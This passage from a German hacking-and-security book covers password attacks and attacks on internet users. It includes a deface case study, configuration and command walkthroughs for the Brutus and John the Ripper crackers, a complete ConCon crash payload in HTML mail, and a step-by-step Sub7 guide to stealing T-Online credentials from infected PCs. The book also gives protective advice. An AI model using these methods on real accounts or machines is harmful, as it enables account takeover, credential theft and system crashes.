 Ein bekanntes Beispiel war das Deface, die Veränderung, von th-security im Februar die-sen Jahres. Dabei geschah Folgendes:
 Das Opfer, das sich ein Hacker Namens »m|r3nda« ausgesucht hatte, war www.th-security.de , eine bekannte Security- und Trojanerinformationsseite, auf der sich keiner-lei Scriptfehler oder Serverfehler finden lassen konnten. Also musste er zu anderen Mit-teln greifen, um an sein Ziel zu kommen. Bei Recherchen stellte der Hacker fest, dass der
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 Webmaster über zwei GMX-Accounts verfügte: [email protected] und [email protected] (die Adressen wurden hier wegen des Datenschutzes verändert). Die erste Adresse wurde als Kontakt-Adresse auf der Web-Seite angegeben, die zweite war als Kontakt-Adresse bei der Denic (www.denic.de) und bei dem Provider Puretec (www.puretec.de) vermerkt.
 Nun schaute sich der Angreifer erst einmal die GMX-Geheimfrage an, und siehe da, die Frage bei beiden Accounts lautete: »Wie ist mein Vorname?«. Resultierend aus der Kon-takt-Adresse, die auf der Seite angeben war, also [email protected], wurde ihm schnell klar, welcher Name gesucht war. Also nahm er Tobias, veränderte das Passwort und war nun erst einmal stolzer Besitzer eines neuen GMX-Accounts. Nun schaute er sich im GMX-Benutzer-Menü ein wenig um, dort hatte der eigentliche Besitzer von sei-nem Namen bis zu seiner Telefonnummer eigentlich alle Daten hinterlassen, die man zum Social Engineering braucht.
 Der Hacker schaute sich nach Mails vom Provider des Webspaces um, in denen die Kundennummer steht. Die benötigt man, um vergessene Passwörter von Puretec an sei-ne Kontakt-Adresse schicken zu lassen. Aber es waren keine Mails des Providers da, nun gab es zwei Möglichkeiten: Man wartet einige Tage auf eine Mail vom Provider, denn Puretec versendet gewöhnlich einmal im Monat ein Mail mit Rechnungsinformationen. Aber dies würde dem User sicher auffallen, und er würde seine Kontakt-Adresse ändern. Möglichkeit 2 war, es auf gut Glück einfach mal mit ein paar Passwörtern zu probieren. Er fing mit dem Geburtsdatum des Users an, das er aus den GMX-Daten entnehmen konnte.
 Und siehe da: Es erwies sich wieder einmal als vollkommen richtig, dass die meisten User mit der Wahl ihrer Passwörter recht leichtfertig sind. Was er aus der Page gemacht hat? Hier das Ergebnis:
 Bild 7.1: Hier war eine Homepage.
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 Dies ist ein sehr gutes Beispiel wie ein Deface a) durch eine schlecht gewählte Geheim-wortabfrage und b) durch ein ungeeignetes Passwort möglich wurde.
 7.2 Was ist auf Anwenderseite zu beachten? Die meisten User sind bei der Wahl eines sinnvollen Passwortes – wie geschildert – oft nicht sehr einfallsreich. Das Ausnutzen schlecht gewählter Passwörter ist daher auch ei-nes der am weitesten verbreiteten Angriffsmittel von Hackern.
 Bei der Vergabe von Passwörtern sollte man folgende Grundregeln beachten: ■
 ■
 ■
 ■
 ■
 ■
 ■
 ■
 ■
 ■
 ■
 keine Passwörter unter 5 Zeichen keine Verdoppelung, also nicht »HHaalloo« keine Standardpasswörter keine Geburtsdaten oder ähnliches keine Wörter, die in Passwortlisten oder Wörterbüchern stehen könnten
 Gute Passwörter bestehen aus: mehr als 10 Zeichen alphanumerischen Zeichenfolgen z.B. km134Hs9 einem Mix aus Groß- und Kleinbuchstaben
 Passwörter sind vollkommen sinnlos wenn: überall dasselbe Passwort verwendet wird. ein Zettel, auf dem das Passwort steht, unter der Tastatur oder am Monitor liegt. das Passwort in einer Datei auf dem Computer gespeichert ist.
 Weiterhin sollte man das Passwort alle zwei bis vier Wochen ändern. Durch diese Rota-tion wird ein Zugriff durch ein schon ausspioniertes Passwort wertlos.
 Geheimfragen sollten geheim sein
 Im Internet bieten verschiedene Anbieter von sicherheitsrelevanten Seiten Passwortfra-gen oder Geheimfragen an, um es Benutzern, die ihr Passwort vergessen haben, möglich zu machen, dieses zu ändern. Oft sieht man hier Fragen wie: »Was ist das Gegenteil von kalt?« Dies ist selbstverständlich eine schlechte Wahl, da es dadurch jedem Angreifer möglich wird, das Passwort nach Belieben zu ändern.
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 7.3 Passwort-Cracker Passwort-Cracker sind Programme, die Passwörter aufdecken, um so die gesetzten Si-cherheitsmaßnahmen zu umgehen. Dabei wird das Passwort in den seltensten Fällen entschlüsselt, sondern es wird eine vom Namen her sehr bekannte Methodik namens Brute-Force verwendet. Auf der Basis von Brute Force, was soviel heißt wie rohe Gewalt, arbeiten etliche dieser Programme. Sie machen nichts anderes, als mit sehr hoher Ge-schwindigkeit ein mögliches Passwort nach dem anderen auszuprobieren, bis das richti-ge gefunden wird.
 Ein Beispiel für ein solches Tool ist Brutus. Brutus ist ein Passwortcracker für alle Vari-anten von Internet-Accounts (FTP, HTTP, POP3, Telnet, NetBios etc). Dieser wird gern für jegliche Art von Internetpasswörtern genutzt. Man bekommt ihn unter der Adresse www.hoobie.net/brutus.
 In das Feld Target trägt man die URL oder IP-Adresse des auszuspionierenden Gegen-übers ein. Danach kann man noch die Art des Angriffes wählen, wobei bei Bedarf auch Wortlisten geladen werden können, die, sollte das Passwort in der Liste vorkommen, das Cracken sehr verkürzen können. Ein weiteres, für Angriffe nützliches Feature ist ein ein-gebauter Proxy, der verhindert, dass man zurückverfolgt werden kann.
 Bild 7.2: Das Programm Brutus, alle Einstellungen auf einen Blick
 http://www.hoobie.net/brutus
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 Hier eine genauere Beschreibung der verschiedenen Optionen, die Sie auch im Screen-shot sehen:
 Target: URL oder IP des Hosts auf dem z.B. der POP3 oder der FTP-Account liegt, den der Angreifer attackieren will.
 Type: Hier kann ausgewählt werden, welcher Typ angegriffen werden soll: HTTP, FTP, POP3, Telnet, SMB (NetBOIS) etc.
 Port: Angabe des Portes, im Falle von HTTP Port 80 oder bei FTP 21.
 Connection: Erlaubt die Auswahl, wie oft man eine Verbindung herstellen möchte.
 Timeout: Angabe, nach welcher Zeit die Verbindung getrennt werden soll.
 Use Proxy: Nicht ausgewählt; um unerkannt arbeiten zu können, erlaubt es Brutus an dieser Stelle, einen Proxy einzutragen.
 Method: HEAD
 KeepAlive: ausgewählt
 Use Username: Hier kann man eine Namensliste mit verschiedenen Usernamen, die Bru-tus beiliegt, wählen.
 Single User: Möchte man nur einen Namen benutzen, weil man diesen bereits kennt, z.B. bei POP3 Accounts die Mailadresse, kann dieser nach Aktivierung des Feldes Single User in User ID eingetragen werden (s.u.).
 User File: users.txt
 Pass Mode: Wordlist; Hier kann ausgewählt werden, wie das Passwort geknackt werden soll. Dabei hat man die Möglichkeit, es anhand einer Wordlist, einer Combo-List oder mittels Brute-Force auszulesen.
 Pass File: words.txt. Hier kann eine Wortliste geladen werden, die Brutus beiliegt.
 Wenn die Site oder der Mail-Account erfolgreich geknackt wurde, erscheinen das Pass-wort und der Username in der Tabelle Positive Authentication Results.
 Der Balken mit der Prozentangabe zeigt den Fortschritt während des Hackz. In der un-teren Statusleiste wird angezeigt, welcher Username und welches Passwort im Moment probiert werden.
 7.3.1 Passwörter von bekannten User-Namen ermitteln
 Die Einstellungen ändern sich hier im Vergleich nur geringfügig, aber dazu später mehr. Zuerst einmal ein paar allgemeine Informationen zu diesem Weg. Wie der Name schon sagt, probiert das Programm bei dieser Methode nur einen Usernamen aus, den man
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 selbst bestimmen kann, da man ihn vielleicht schon kennt, aber das dazugehörige Pass-wort sucht. Das wäre z.B. auch der Fall, wenn Sie für einen Account Ihr Passwort verges-sen haben.
 7.3.2 Einstellungen auf einen Blick
 Target: URL oder IP des Hosts auf dem z.B. der POP3- oder der FTP-Account liegt, den der Angreifer attackieren will.
 Type: Hier kann ausgewählt werden, welcher Typ angegriffen werden soll: HTTP, FTP, POP3, Telnet, SMB (NetBOIS) etc.
 Port: Angabe des Ports, im Falle von HTTP Port 80 oder bei FTP 21.
 Connection: Erlaubt die Auswahl, wie oft man eine Verbindung herstellen möchte.
 Timeout: Angabe, nach welcher Zeit die Verbindung getrennt werden soll.
 Use Proxy: Nicht ausgewählt; um unerkannt arbeiten zu können, erlaubt es Brutus an dieser Stelle, einen Proxy einzutragen.
 Method: HEAD
 KeepAlive: ausgewählt
 Use Username: ausgewählt. Hier kann man eine Namensliste mit verschiedenen User-namen, die Brutus beiliegt, wählen.
 Single User: ausgewählt
 User ID: Username (z.B. Thomas, Michael usw.) z.B. [email protected]
 Pass Mode: Wordlist. Hier kann ausgewählt werden, wie das Passwort geknackt werden soll. Dabei hat man die Möglichkeit, es anhand einer Wordlist, einer Combo-List oder mittels Brute-Force auszulesen.
 Pass File: words.txt. Hier kann eine Wortliste geladen werden, die Brutus beiliegt.
 7.4 Passwörter mit John the Ripper entschlüsseln John the Ripper ist ein Passwort Cracker, der beispielsweise per DES (Data Encryption Standard) verschlüsselte Passwörter entschlüsseln kann. Ein Einsatzgebiet für die An-wendung von DES-Verschlüsselungen sind Passwörter von Unix.
 Die Zeitspanne, die John the Ripper für das Entschlüsseln von Passwörtern benötigt, ist sehr von der Geschwindigkeit des jeweiligen Prozessors abhängig. Daher bieten die Pro-grammierer dieses Tools verschiedene Versionen dieses Programms an, die für unter-
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 schiedliche Prozessoren optimiert sind. Im Unterverzeichnis /run des Ordners john-16 findet man dazu neben der Standard-john.exe-Datei auch noch zwei Zip-Archive, in de-nen sich eine für MMX und eine für K6 optimierte Programmdatei befinden. Zum Ver-wenden der entsprechenden Version entpackt man diese in das /run Verzeichnis und über-schreibt die vorhandene john.exe-Datei. Die Funktionsweise von John beruht darauf, die definierten Passwort-Möglichkeiten, je nachdem in welchem Mode John gestartet wird (single, wordlist; incremental; external), auch beispielsweise per DES zu verschlüsseln und dann mit dem zu entschlüsselnden Passwort zu vergleichen. Stimmen die Passwörter im verschlüsselten Zustand überein, so müssen sie auch im entschlüsselten Zustand überein-stimmen, da ja dasselbe Verschlüsselungsverfahren (DES) verwendet wurde.
 Bild 7.3: Die karge Oberfläche von John the Ripper
 7.4.1 Single Mode
 In diesem Mode versucht John, die in der Password-Datei gespeicherten GECOS-Informationen (General Electric Comprehensive Operating System), das sind persönli-che Daten zu jedem User wie z.B. Name, Telefonnummer etc., als Passwort einzusetzen. Falls die Daten in der Datei passwd »geshadowed« wurden (shadowing ist eine Sicher-heitsmaßnahme der neueren Linux/Unix Versionen, die bewirkt, dass die Passwörter aus der passwd-Datei entfernt werden und stattdessen in der shadow-Datei gespeichert wer-den), werden zwar die Passwörter in der shadow-Datei gespeichert, aber die GECOS-Infos befinden sich noch immer in der passwd-Datei. In diesem Fall hilft das Programm Unshadow, dessen Programmdatei unshadow.exe sich ebenfalls im Ordner /run befindet. Dieses Programm führt die Datei passwd und die shadow-Datei zusammen, so dass so-wohl die Passwörter als auch die GECOS-Informationen wieder in einer Datei enthalten sind. Dieser Mode ist natürlich nur dann effektiv, wenn Nutzer ihre persönlichen In-formationen als Passwort verwenden. Allerdings ist dieser Modus auch sehr schnell,
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 weshalb man ihn nicht unterschätzen sollte. Die Effektivität dieses Modus steigt mit der Anzahl der in der Password-Datei enthaltenen Nutzer, weil er die GECOS-Informa-tionen jedes Nutzers bei allen anderen auch als mögliches Passwort überprüft.
 7.4.2 Wordlist Mode
 Die Effizienz dieses Modes hängt komplett von der Größe und vor allem von der Quali-tät der verwendeten Wordlist ab. So kann man server- bzw. adminspezifische Wordlists erstellen und damit die Erfolgswahrscheinlichkeit erhöhen, weil man sämtliche zur Ver-fügung stehenden Informationen benutzen kann. Und genau darin liegt die Stärke dieses Modus: Da es unwahrscheinlich ist, dass z.B. die Datei passwd eines australischen Servers deutsche Passwörter enthält, kann der deutsche Teil der Wordlist in einem solchen Fall erstmal weggelassen werden.
 Die Wordlist muss dabei so aufgebaut sein, dass in jeder Zeile nur eine Zeichenfolge steht. Auch sollte darauf geachtet werden, dass die Wordlist beispielsweise alphabetisch sortiert ist, da John ein wenig schneller arbeitet, wenn aufeinanderfolgende Wörter oder Zeichenfolgen sich nicht allzu stark voneinander unterscheiden (es gibt Programme, die beim Verwalten von Wordlists helfen, indem sie beispielsweise mehrere Listen zusam-menfügen, sie alphabetisch ordnen oder doppelte Einträge entfernen).
 7.4.3 Incremental Mode
 Dies ist Johns mächtigster Modus. Er kann jedes existierende Password, unabhängig da-von, ob es aus Buchstaben, Sonderzeichen, Zahlen oder Kombinationen besteht, ent-schlüsseln, indem er sämtliche möglichen Kombinationen überprüft. Diese Methode wird auch Brute-Force genannt. Hierbei ist allerdings zu beachten, dass die zum Ent-schlüsseln benötigte Zeitspanne (abhängig von Prozessorleistung, Passwortlänge und den im Passwort verwendeten Zeichen) sehr groß sein kann.
 7.4.4 External Mode
 Dieser Mode ist eher für die erfahrenen Benutzer gedacht, weil er vollständig konfigu-riert werden muss. Durch das Definieren der Parameter hinter [LIST.EXTERNAL:MODE] in der john.ini-Datei wird ein komplett neuer, individueller Modus erstellt. Dadurch wird es vor allem den Benutzern, die mit John schon Erfahrungen gemacht haben, er-möglicht, einen Mode ihren persönlichen Bedürfnissen anzupassen.
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 7.4.5 Hier die wichtigsten Befehle:
 Befehl Beschreibung
 John -single Dieser Befehl started John im Single-Mode.
 John -i Dieser Befehl started John im Incremental-Mode.
 John -w:namederwordlist Dieser Befehl started John im Wordlist-Mode.
 John -e:MODE Dieser Befehl started John im External-Mode unter Ver-wendung der bei LIST.EXTERNAL: definierten MODE Ei-genschaften.
 John dateiname Dieser Befehl lässt John zuerst den Single-, dann den Wordlist- und schließlich noch den Incremental-Mode durchlaufen.
 John -show Dieser Befehl zeigt die entschlüsselten Passwörter an.
 Tabelle 7.1: Die wichtigsten Befehle für John the Ripper im Überblick
 Hinter jedem dieser Befehle muss noch die Passwort-Datei angegeben werden.
 Der Befehl john listet alle verfügbaren Parameter auf.
 7.4.6 Die Password-Datei
 In dieser Datei müssen die zu entschlüsselnden Passwörter mit dazugehörigem Benut-zernamen enthalten sein. Sie müssen durch einen Doppelpunkt getrennt nach dem Schema USERNAME:PASSWORD gespeichert sein. Wie viele solcher Paarungen in der Datei gespeichert sind, ist nicht relevant, es muss nur beachtet werden, dass jeweils nur ein USERNAME-PASSWORD-Paar in einer Zeile steht. Die Passwörter dürfen auch nicht »geshadowed« sein, sondern müssen sich zum Entschlüsseln im normal verschlüs-selten Zustand befinden (Bsp.: geshadowed= john:x oder john:* ; verschlüsselt= john:Gjstv0eYjOEhc). Falls der Single-Mode verwendet werden soll, müssen auch noch die GECOS-Informationen sowie der Pfad des User-Verzeichnisses dahinterstehen (Bsp.: john:OozDCtCCAa/lM:11202:0:99999:7:0::).
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 7.4.7 So wird entschlüsselt
 Anhand eines Beispiels wird nun der Vorgang beim Entschlüsseln nochmals genau be-schrieben.
 Im Beispiel wird davon ausgegangen, dass sich die john.exe-Datei im Verzeichnis C:\john\john-16\run befindet. Im gleichen Verzeichnis befinden sich auch die Password-Datei mit dem Namen pwd1.txt und die Wordlist-Datei mit dem Namen wordlist.txt. Der Inhalt der Password-Datei ist in diesem Fall:
 john:OozDCtCCAa/lM
 John funktioniert NUR im DOS-Modus oder von der Eingabeaufforderung aus. Also startet man die Eingabeaufforderung und wechselt ins Verzeichnis C:\john\john-16\run. Da man nichts konkretes über den Server bzw. Admin weiß, startet man eine Standard-Attacke. In diesem Fall ist der Single-Mode zwar nutzlos, aber Wordlist- und Incremen-tal-Mode werden die Arbeit übernehmen.
 Man benutzt also den Befehl: john pwd1.txt
 Nach einem Druck auf die (¢)-Taste bestätigt John mit der Meldung:
 Loaded 1 password (Standard DES [48/64 4K])
 und beginnt die Arbeit.
 Nun wartet man, bis John sich selbst beendet. Das geschieht, wenn er die Passwörter aus der Passwort-Datei entschlüsselt hat oder die zugewiesenen Modes erfolglos durchlaufen wurden. In unserem Beispiel wird er stoppen, nachdem er das Passwort entschlüsselt hat, da zumindest der Incremental-Mode Erfolg hat. Im Beispiel stoppt sich John nach einer Weile und mit dem Befehl john -show pwd1.txt lässt man sich das entschlüsselte Passwort anzeigen. In diesem Fall gibt John folgende Meldung aus:
 john:ripper
 1 password cracked, 0 left
 Damit ist der Crackvorgang erfolgreich abgeschlossen!
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88 Attacken auf Nutzer im Internet
 Die Zahl der Internet-Nutzer steigt ständig, immer neue Dienstleistungen werden ange-boten, immer attraktiver werden die Inhalte. Für die meisten ist das Medium nicht mehr wegzudenken. Doch mit dem Internet-Zugang steigen auch die Gefahren, denen der ei-gene PC oder gar das Netzwerk ausgesetzt sind. Dieses Kapitel soll helfen, Gefahren und Risiken der Internet-Nutzung besser einschätzen zu können. Sie erfahren, wie Angriffe auf Nutzer durchgeführt werden und welche Varianten es dabei gibt. Die verschiedenen Trojaner- und Viren-Möglichkeiten werden hier nicht mehr angesprochen, Sie finden nähere Informationen dazu in den entsprechenden Kapiteln. Hier soll es vor allem um Probleme mit E-Mails, T-Online-Zugangsdaten und die Sicherheitsrisiken von ICQ ge-hen.
 8.1 E-Mail-Attacken E-Mails stellen im Internet die wichtigste Kommunikationsbasis dar, doch in dieser Tat-sache stecken auch Gefahren, die vielen Nutzern nicht bewusst sind und die immer wie-der von Hackern für Attacken auf Systeme genutzt werden.
 8.1.1 Mailbomber – Ihr Postfach quillt über
 Mailbomber stellen für Internet-Nutzer keine direkte Gefahr für die Daten oder das ei-gene Computersystem dar, sondern sind eher nervtötend und lästig. Es kann nämlich sehr zeitaufwändig – und auch teuer – sein, wenn man plötzlich 5000 unerwünschte Mails aus seinem Postfach löschen muss.
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 Bild 8.1: E-Mail-Bomber von Arzy
 Für das Mailbombing stehen Angreifern im Netz eine Vielzahl von Programmen zur Verfügung. Es ist schwierig einzuschätzen, inwieweit Mailbombing-Attacken eine Stra-tegie oder dergleichen zugrunde liegt. Einem einzelnen Nutzer kann man durch das Bombing vor allem Zeit rauben, es sei denn, man wüsste, dass er auf eine wichtige Mail wartet. Diese würde nämlich beim Überlauf der Mailbox durch die Attacke vom Server zurückgewiesen. Eine solche Attacke kann aber auch kleine Firmen, für die das Internet eine wichtige Kommunikationsplattform darstellt, wirtschaftlich treffen. Stellen Sie sich doch nur die Situation eines Webshop-Betreibers vor, der keine Mail-Bestellungen mehr erhält, weil er Ziel einer Mailbombing-Attacke geworden ist.
 Der Angreifer bleibt anonym
 Dass Opfer von Mailbomber-Anschlägen nicht direkt gegen jene Täter angehen können, liegt in der Struktur der von Mailbombern häufig genutzten Internet-Protokolle SMTP und Telnet (s. Grundlagen-Kapitel) begründet. Diese Übertragungsprotokolle beschrän-ken ihren Inhalt auf den ASCII-Zeichensatz. Es wird also nur Klartext übertragen. Sie bieten auf dieser Grundlage keine Möglichkeit, die Angaben über den Absender zu über-prüfen. Dadurch ergibt sich sogar die Möglichkeit, gefälschte Absender-Adressen an-zugeben!
 Die besonderen Eigenschaften von Mailbombern liegen also darin, dass man nicht nur nahezu gleichzeitig eine unerhörte Anzahl von Mails an den gewünschten Empfänger schicken, sondern auch anonym bleiben oder je nach Wahl eine falsche Absender-Adresse angeben kann.
 Das hat natürlich zur Folge, dass das Postfach des Empfängers schnell seine maximale Kapazität überschreitet und keine weiteren Mails mehr empfangen kann. Eine zeitrau-bende Sache, wenn man diese Hundertschaft an Mails, meist ohne bedeutsamen Inhalt, entfernen will.
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 So funktionieren Mailbomber
 Um die Mails an den Empfänger weiterzuleiten, erwarten Mailbomber-Programme auch die Eingabe von mehreren Serversystemen, die als unfreiwillige Postboten fungieren sol-len. Dies wird deshalb gemacht, um die Übertragung von vielleicht 10.000 Mails zu be-schleunigen und die Arbeit auf dem Rücken mehrerer anderer Server zu verteilen. Da-durch reduziert sich auch das Risiko einer Überlastung des jeweiligen Mail-Servers. Au-ßerdem wäre eine solche Transaktion von einem einzigen Server aus vielleicht etwas zu auffällig. Weitere Mail-Aktionen von diesem Server an den Empfänger könnten darauf-hin gesperrt werden!
 In letzter Zeit konzentrieren sich immer mehr Mailbomber-Angriffe auf Firmen, die durch ihre aggressive Werbung im Internet aufgefallen sind.
 Schutz vor Mailbomben
 Benutzer von Online-Diensten wie AOL oder GMX werden die oben genannte Mailwer-bung, so genannte Spams, sicherlich kennen. Organisierte Mailbomber-Aktionen auf das Mail-Postfach dieser Firmen haben sich oft als erfolgreich erwiesen! Daher lässt sich bei den Kundenpostfächern der meisten Mailanbieter die Option Anti-Spam wählen. Diese verhindert, dass die unerhörte Anzahl von Mails überhaupt zum User weitergelei-tet wird.
 8.1.2 Auspuffern von Dateianhängen
 Beim Versenden von Viren und Trojanern haben Hacker immer wieder das Problem, dass aufgrund öffentlicher Aufklärung viele Nutzer bereits wissen, dass ihnen Mail-Anhänge mit den Bezeichnungen *.exe, *.com, *.bat gefährlich werden können. Daher wird oft zu einem Trick gegriffen, um den Dateianhang zu verstecken.
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 Bild 8.2: Sieht harmlos aus – Ausgepufferter Dateianhang einer Mail
 Die Datei im Anhang sieht, auf der Festplatte gespeichert, folgendermaßen aus:
 Profil.doc exe
 Aufgrund dieser Länge (verursacht durch Leerzeichen) zeigt Outlook lediglich Profil.doc an. Der Nutzer könnte nun annehmen, dass es sich hierbei um ein ganz normales Word-Dokument handelt, was direkt von Outlook geöffnet werden kann, ohne dass es vorher auf Festplatte gespeichert werden muss.
 Natürlich wird in diesem Fall sofort das dementsprechende Programm gestartet und der evtl. angehängte Virus oder Trojaner installiert.
 Schutz vor Dateianhängen
 Der oben abgebildete Dateianhang trägt offensichtlich nicht das Symbol eines Worddo-kumentes. User sollten daher auf die dementsprechenden Symbole achten.
 Aber natürlich können clevere Hacker nachträglich mit Programmen wie Sub7 (s. Kapi-tel über Trojaner, dort erfahren Sie fast alles über die Möglichkeiten von Sub7) ein Wordsymbol integrieren. Man sollte daher weiterhin vorsichtig sein, wenn sich hinter dem Dateinamen noch ... befinden. Weiterhin gilt, Dateianhänge von Mails aus unbe-kannten Quellen auf Festplatten zu speichern und mit einem Virenscanner abchecken zu lassen.
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 Außerdem bietet Microsoft unter der Adresse http://windowsupdate.microsoft.com/ ein Update für Outlook an, das vor dem Ausführen von Mailanhängen mit fragwürdigen Dateien warnt.
 Bild 8.3: Warnmeldung von Outlook bei fragwürdigen Dateianhängen
 8.1.3 Der ConCon-Bug
 Mails können neben Dateianhängen auch selber gefährliche Inhalte haben. Ein Beispiel dafür ist der berühmte Windows-ConCon–Bug. Dieser beruht auf einem Fehler im Windows-Kernel von Windows 95/98/98 SE, der den Aufruf reservierter Gerätenamen betrifft. ConCon führt zu einem »Blue Screen« und dem »Einfrieren« des Rechners und hat zur Folge, dass der PC neu gestartet werden muss. Dies kann mit Blick auf nicht ge-speicherte Arbeiten recht gefährlich sein. Weiterhin ist bekannt, dass bei mehrmaligem Auftreten dieses Fehlers ein Schaden am Windows-Kernel entstehen kann, was zur Folge hat, dass das Betriebssystem neu installiert werden muss.
 ConCon wird in Mails durch eingebundene HTML-Dateien verbreitet, die z.B. so ausse-hen können:
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 <!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN"> <HTML> <HEAD> <META content=3Dtext/html;charset=3Diso-8859-1 = http-equiv=3DContent-Type><BASE=20 href=3Dfile://C:\Con\Con\> <STYLE> <!-- body, UL, OL, DIR, MENU, DIV, DT, DD, ADDRESS, BLOCKQUOTE, PRE, BR, P, = LI { color: FF3300; font-size: 20pt; font-weight: regular; font-family: "Tempus Sans ITC", "Comic Sans MS", "Arial";=20 } h1 { color: FF3300; font-size:30pt; font-weight: regular; font-family: "Tempus Sans ITC", "Comic Sans MS", "Arial";=20 } h2 { color: FF3300; font-size: 24pt; font-weight: regular; font-family: "Tempus Sans ITC", "Comic Sans MS", "Arial"; } --> </STYLE> <META content=3D'"MSHTML 4.72.3110.7"' name=3DGENERATOR> </HEAD> <BODY bgColor=3D#99ccff leftMargin=3D30 topMargin=3D5> <DIV>&nbsp;</DIV> <CENTER><IMG align=3Dcenter alt=3D"Du kannst weglaufen" height=3D116=20 src=3D"cid:[email protected]"=20 width=3D617></CENTER><BR><BR><BR> <CENTER>
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 <H1>Du kannst weglaufen, aber du entkommst mir=20 nicht!<TOPMARGIN=3D150></H1></CENTER><BR> <CENTER> <IMG src="\C:\Con\Con.gif> <P>Nachricht hier einf&uuml;gen.</P></CENTER></BODY></HTML>
 Bild 8.4: ConCon-Mailansicht auf einem gegen diesen Bug resistenten Windows-2000-System
 Diese Mail braucht nur markiert und in der Vorschau angesehen zu werden, damit der Rechner abstürzt und ein Neustart nötig ist.
 Anmerkung: Abgesehen von Mailangriffen wird eine ConCon-Datei auch gern in
 den Autostart-Ordner des Rechners kopiert. Das System wird dadurch daran gehin-dert, vollständig hochzufahren, es würde jedes Mal diese Datei starten und abstürzen.
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 Schutz vor ConCon
 Unter http://www.microsoft.com/downloads/release.asp?ReleaseID=19389 bietet Micro-soft einen Patch zur Beseitigung dieses Bugs an.
 8.2 T-Online Sicherheit 40 Surfer missbrauchten Passwörter Mehr als 40 Unberechtigte sind in ganz Deutschland auf Kosten eines ah-
 nungslosen Nutzers durchs Internet gesurft und haben dabei einen Scha-
 den von 50.000 Mark angerichtet.
 Der Geschädigte hatte seine Internetkennung und das Passwort auf seiner
 Festplatte gespeichert, berichtete die Polizeiinspektion Harburg am
 Mittwoch.
 Unbekannte Täter hatten es vermutlich mit Hilfe eines Trojanischen
 Pferdes gestohlen. Sie veröffentlichten die Kennung und das Passwort
 später im Internet.
 Die Polizei konnte die Internetzugriffe rekonstruieren und den Tätern
 zuordnen, hieß es. Dadurch konnte für jeden Einzelnen die Kennung, An-
 zahl und Dauer seiner Zugriffe ermittelt werden. Auch die Gebühren hät-
 ten festgestellt werden können.
 »Internetuser sollten auf jeden Fall vermeiden, ihre Passwörter aus Be-
 quemlichkeit auf dem Rechner zu speichern«, warnte die Polizei.
 Aus: PCWelt 12/2000
 Wie sicher ist eigentlich Europas größter Internet-Provider ? Gerade wenn man die Zah-len von T-Online sieht, müsste man glauben, dass es der ehemalige Staatskonzern mit dem Thema Sicherheit schon aus alter, behördlicher Tradition besonders genau nimmt. Leider ist dem nicht so. Mit wenigen Schritten kann man T-Online-Daten erhalten.
 8.2.1 T-Online Account Sniffing von d0EME
 Die folgende Beschreibung von Sicherheitsproblemen älterer T-Online-Versionen habe ich von einem Hacker erhalten und nur sprachlich ein wenig verändert. Sie zeigt nicht nur Probleme auf, sondern bietet auch einen guten Einblick in die Informationen, die potentielle Hacker im Internet finden können. Nehmen Sie es als einen Blick durchs Schlüsselloch. Wichtig ist der Text vor allem für die T-Online-Kunden, die sich über die Sicherheit ihres Accounts informieren wollen und evtl. noch mit einer älteren Version der Zugangssoftware arbeiten.
 http://www.pc-welt.de/
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 Hinweis: T-Online verbessert nach erfolgreichen Attacken regelmäßig seine Soft-
 ware, so dass diese Anleitung nicht zwingend funktionieren muss. Sicherlich ist sie aber hilfreich, um das Thema Sicherheit und T-Online zu illustrieren. Im Rahmen einer Fernsehsendung auf RTL II haben wir die Sicherheitslücken von T-Online do-kumentiert. Wenn Sicherheitsprobleme in neuen Versionen gelöst sind, sollten Sie tunlichst rasch die neue Version installieren. Auch wenn der Grundsatz »never change a running system« lautet, ist gerade ein Sicherheitsloch in einer Altversion hochgra-dig bedenklich. Sicher, eine Aktualisierung kostet Zeit und evtl. Mühe, wenn hinter-her alles noch einmal eingerichtet werden muss. Das steht aber in keinem Verhältnis zu der Zeit und den Kosten, die durch die Ausnutzung eines bekannten Sicherheits-lochs in einer alten Version entstehen.
 Die in dieser Anleitung verwendete Software wird im Kapitel Trojaner ausführlich be-sprochen. Dort finden Sie auch eine Übersicht über die Möglichkeiten, die Sub7 dem Angreifer bietet.
 Man braucht :
 Sub7 (am besten v.2.1 Defcon8 wegen der Passwortumgehung mit der (¢)-Taste) ■
 ■
 ■
 T-Online-Software - ist in fast jeder PC-Zeitschrift zu finden 10-60 Minuten Zeit
 Man startet Sub7 und wählt die Option IP-Scanner.
 Bild 8.5: Der IP- Scanner auf der Suche...
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 In das Feld START IP gibt man die IP-Adresse ein, ab der der Scan gestartet werden soll, in END IP die Adresse, bei der der Scan enden soll.
 T-Online-Kunden haben meist folgende IP Adressen: 62.158.xx.xx oder 217.3.xxx.xxx.
 In den Scanner müsste demzufolge beispielsweise 217.3.161.1 als START IP und 217.3.161.255 als END IP eingegeben werden.
 Sollte der Scanner nun in diesem Bereich eine IP finden, kann davon ausgegangen wer-den, dass es sich hier um einen der gesuchten T-Online-Kunden handelt, und zudem, dass dessen Rechner mit einem Sub7-Trojaner infiziert ist.
 Nun kann versucht werden, sich mit dem Trojaner-Server einer gefundenen IP zu ver-binden. Sollte dies erfolgreich sein, was davon abhängt, ob der Server von Sub7 mit ei-nem Passwort geschützt ist, wechselt man nun über das Menü von Sub7 in ADVANCED
 und dann auf PASSWORDS. Nun kann man mit den Optionen CACHED PASSWORDS und RECORDED PASSWORDS sämtliche gespeicherten Passwörter des Rechners abrufen, darun-ter auch die T-Online-Passwörter.
 Bild 8.6: Passwortcache eines Rechners
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 Die im Fenster CACHED PASSWORDS angezeigten Passwörter können nun mit dem Button SAVE in einer Textdatei gespeichert werden.
 Die txt-Datei könnte dann so aussehen:
 Rna\T-Online\00025221873365xxxxxx6949#0001: 00659xxx 0002522187336 ist die T-Online-Nummer 5xxxxxx6949 die Anschlusskennung #0001 die Mitbenutzersuffix 00659xxx ist in diesem Fall das Passwort
 Nun kann man die Daten entweder in seine T-Online-Software eingeben oder in die DFÜ-Verbindung und hat so eine recht kostengünstige Verbindung ins Netz.
 Da es auch sein kann, dass man bei der Recherche auf einen Trojaner-Server v.2.1 Def-con8 stößt, sollte man auch diese Sub7-Version benutzen, da man mit dieser die Pass-worteingabe bei Defcon-Servern ganz leicht mit dem Drücken der (¢)-Taste umgehen kann.
 Sollte der Server passwortgeschützt sein und zudem keine Defcon8 Version installiert sein, hilft nur Passwörter ausprobieren oder doch einen anderen Rechner ins Visier nehmen.
 Hier ein paar Anmerkungen zu der geschilderten Anleitung, die sicherlich jeden moti-viert, das Kapitel Trojaner in diesem Buch genauer anzuschauen.
